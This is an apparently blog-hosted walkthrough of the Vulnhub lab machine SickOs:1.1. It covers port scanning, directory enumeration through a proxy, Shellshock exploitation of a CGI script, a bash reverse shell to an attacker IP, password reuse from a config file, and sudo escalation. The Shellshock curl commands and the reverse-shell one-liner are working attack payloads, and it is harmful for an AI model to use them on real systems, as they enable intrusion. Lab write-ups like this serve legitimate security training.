SickOs:1.1 - Walkthrough [Vulnhub]

Here's  my solution for SickOs:1.1.
The machine can be downloaded from here.

Port Scanning
Using nmap to scan all TCP ports.
$ nmap -Pn -sC -sV -p- 192.168.1.107



We find 2 ports open.

Enumeration
Before browsing the web we first set the proxy.



Now lets browse the web.



Using dirb to scan directories.
$ dirb http://192.168.1.107 -p 192.168.1.107:3128

 

Further scanning the /cgi-bin directory.
$ dirb http://192.168.1.107/cgi-bin/ -p 192.168.1.107:3128



Browsing /status.



Initial Access
Trying for shell shock.
$ curl --proxy http://192.168.1.107:3128 -H "user-agent: () { :; }; echo; echo; /bin/sh -c 'cat /etc/passwd'" http://192.168.1.107/cgi-bin/status



This seems working fine. Lets get the shell.
$ curl --proxy http://192.168.1.107:3128 -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.108/1234 0>&1'" http://192.168.1.107/cgi-bin/status 



We get the shell.

Privilege Escalation
From www-data > sickos.
We find a file- config.php under /var/www/wolfcms directory which contains DB credential.



Switching to sickos.
We use the same password found in file- config.php
$ su sickos
Password: john@123



From sickos > root.
We check for sudo rights.



Lets escalate and grab the root flag.



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